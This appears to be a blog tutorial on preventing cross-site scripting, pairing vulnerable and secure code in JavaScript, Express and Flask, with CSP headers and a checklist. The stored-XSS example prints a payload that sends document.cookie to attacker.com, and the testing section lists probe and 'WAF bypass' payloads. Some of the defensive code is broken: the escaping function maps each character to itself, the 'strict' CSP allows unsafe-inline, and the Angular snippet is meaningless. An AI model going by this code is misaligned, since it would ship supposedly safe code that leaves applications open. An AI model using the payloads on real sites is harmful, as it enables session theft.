XSS (Cross-Site Scripting) Prevention: Complete Guide 2025
What is Cross-Site Scripting (XSS)?
XSS is a critical vulnerability affecting 36% of web applications. Attackers inject malicious JavaScript code that executes in victims' browsers, allowing theft of sensitive data, session hijacking, and credential harvesting.
Real-World Impact
- eBay (2015): XSS in image search allowed session hijacking
- Twitter (2014): XSS in profile names led to account takeovers
- MySpace (2005): Samy worm infected 1 million profiles
Types of XSS Attacks
1. Stored XSS (Persistent)
Malicious script is stored in database and executed for all users.
<!-- Blog comment form (VULNERABLE) -->
<textarea name="comment" placeholder="Add comment..."></textarea>
<!-- Attacker submits -->
<img src=x onerror="fetch('http://attacker.com/steal?cookie=' + document.cookie)">
<!-- Script stored in DB and executed for every viewer -->
2. Reflected XSS (Non-Persistent)
Malicious script is reflected in URL parameters.
<!-- Vulnerable search -->
http://store.com/search?q=<img src=x onerror=alert('XSS')>
<!-- Server responds -->
Search results for: <img src=x onerror=alert('XSS')>
<!-- Script executes in victim's browser -->
3. DOM-Based XSS
Script modifies DOM using untrusted data.
// VULNERABLE: Using innerHTML with user input
function displayUserProfile() {
const username = new URLSearchParams(location.search).get('name');
document.getElementById('profile').innerHTML = `Welcome, ${username}`;
}
// Attacker URL
http://site.com/?name=<img src=x onerror=alert('XSS')>
// Executed in browser
XSS Prevention Techniques
Method 1: Input Encoding (Escaping)
HTML Entity Encoding
function encodeHTML(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, char => map[char]);
}
// Usage
const userInput = '<img src=x onerror=alert("XSS")>';
const safe = encodeHTML(userInput);
// Result: <img src=x onerror=alert("XSS")>
Method 2: Content Security Policy (CSP)
<!-- Strict CSP Header -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline';
style-src 'self' https://fonts.googleapis.com;">
<!-- OR HTTP Header -->
Content-Security-Policy: default-src 'self'; script-src 'nonce-{randomvalue}'
Node.js Implementation
const helmet = require('helmet');
const express = require('express');
const app = express();
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"],
styleSrc: ["'self'", "https://fonts.googleapis.com"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.example.com"],
},
}));
Method 3: Use Safe DOM Methods
// VULNERABLE
element.innerHTML = userInput;
// SECURE - Use textContent for text
element.textContent = userInput;
// SECURE - Use createElement for dynamic elements
const div = document.createElement('div');
div.textContent = userInput;
element.appendChild(div);
// SECURE - DOMPurify library
element.innerHTML = DOMPurify.sanitize(userInput);
Method 4: Framework-Level Protection
React (Auto-escapes by default)
// SAFE: React escapes text content automatically
function ShowUserComment({ comment }) {
return <div>{comment}</div>;
// <img src=x onerror=alert('XSS')> displayed as text
}
// Use innerHTMLonly when necessary with sanitization
function DangerousComponent({ html }) {
const sanitized = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}
Angular (Built-in Sanitization)
import { DomSanitizer } from '@angular/platform-browser';
@Component({
selector: 'app-user',
template: '<div [innerHTML]="userInput"></div>'
})
export class UserComponent {
constructor(private sanitizer: DomSanitizer) {}
// Angular automatically sanitizes
userInput = this.userInput;
}
Code Examples: Vulnerable vs Secure
Node.js Express
VULNERABLE
app.get('/user/:id', (req, res) => {
const userId = req.params.id;
res.send(`<h1>User Profile: ${userId}</h1>`);
});
// URL: /user/<img src=x onerror=alert('XSS')>
SECURE
const escapeHtml = require('escape-html');
app.get('/user/:id', (req, res) => {
const userId = req.params.id;
res.send(`<h1>User Profile: ${escapeHtml(userId)}</h1>`);
});
Python Flask
VULNERABLE
from flask import Flask, request
app = Flask(__name__)
@app.route('/search')
def search():
query = request.args.get('q')
return f'<h1>Results for: {query}</h1>'
SECURE
from flask import Flask, request, render_template_string
from markupsafe import escape
@app.route('/search')
def search():
query = request.args.get('q')
return f'<h1>Results for: {escape(query)}</h1>'
XSS Prevention Checklist
- Encode all user input before displaying
- Use templating engines with auto-escaping
- Implement Content Security Policy (CSP)
- Use frameworks with built-in XSS protection
- Sanitize HTML when necessary (DOMPurify, Bleach)
- Validate input server-side (not just client-side)
- Use HttpOnly and Secure flags on cookies
- Implement X-XSS-Protection header
- Regular security testing (OWASP ZAP, Burp)
- Security code reviews
- Developer security training
Testing for XSS
Manual Testing Payloads
// Basic alert test
<script>alert('XSS')</script>
// Event-based
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
// HTML5
<iframe onload=alert('XSS')>
<body onload=alert('XSS')>
// DOM-based
`${alert('XSS')}`
// WAF bypass attempts
<img src=x ALLonerror=alert(1)>
<img src=x onerror=alert(1)>
Using OWASP ZAP for XSS Detection
zaproxy.sh -cmd -quickurl http://target.com -quickout xss-report.html
Content Security Policy Examples
Strict CSP (Recommended)
Content-Security-Policy: default-src 'none';
script-src 'self';
style-src 'self' https://fonts.googleapis.com;
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self'
Flexible CSP (Legacy compatibility)
Content-Security-Policy: default-src 'self' https:;
script-src 'unsafe-inline';
style-src 'unsafe-inline'
Key Takeaways
- Defense in Depth: Combine multiple layers (encoding, CSP, frameworks)
- Never Trust User Input: Always encode before output
- Use Security Headers: Implement CSP, X-XSS-Protection, X-Content-Type-Options
- Framework Features: Leverage built-in XSS protection in modern frameworks
- Regular Testing: Automated scans + manual testing crucial
Resources
- OWASP XSS Prevention: https://owasp.org/www-community/attacks/xss/
- CWE-79: Cross-site Scripting
- Content Security Policy Guide: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
- DOMPurify Library: https://github.com/cure53/DOMPurify
- PortSwigger XSS Cheat Sheet: https://portswigger.net/web-security/cross-site-scripting
Next Steps
- Audit your application for XSS vulnerabilities
- Implement CSP headers
- Set up automated security testing
- Train your team on secure coding
- Monitor for XSS attempts in production
Advertisement
Free Security Tools
Try our tools now
Expert Services
Get professional help
OWASP Top 10
Learn the top risks
Related Articles
OWASP Top 10 2025: What's Changed and How to Prepare
A comprehensive breakdown of the latest OWASP Top 10 vulnerabilities and actionable steps to secure your applications against them.
SQL Injection Prevention: Complete Guide with Code Examples
Master SQL injection attacks and learn proven prevention techniques. Includes vulnerable code examples, parameterized queries, and real-world breach analysis.
React XSS Vulnerabilities: dangerouslySetInnerHTML and Beyond
React auto-escapes by default — but developers still introduce XSS through dangerouslySetInnerHTML, href injection, server-side rendering, and third-party libraries. Here are the patterns we catch in reviews.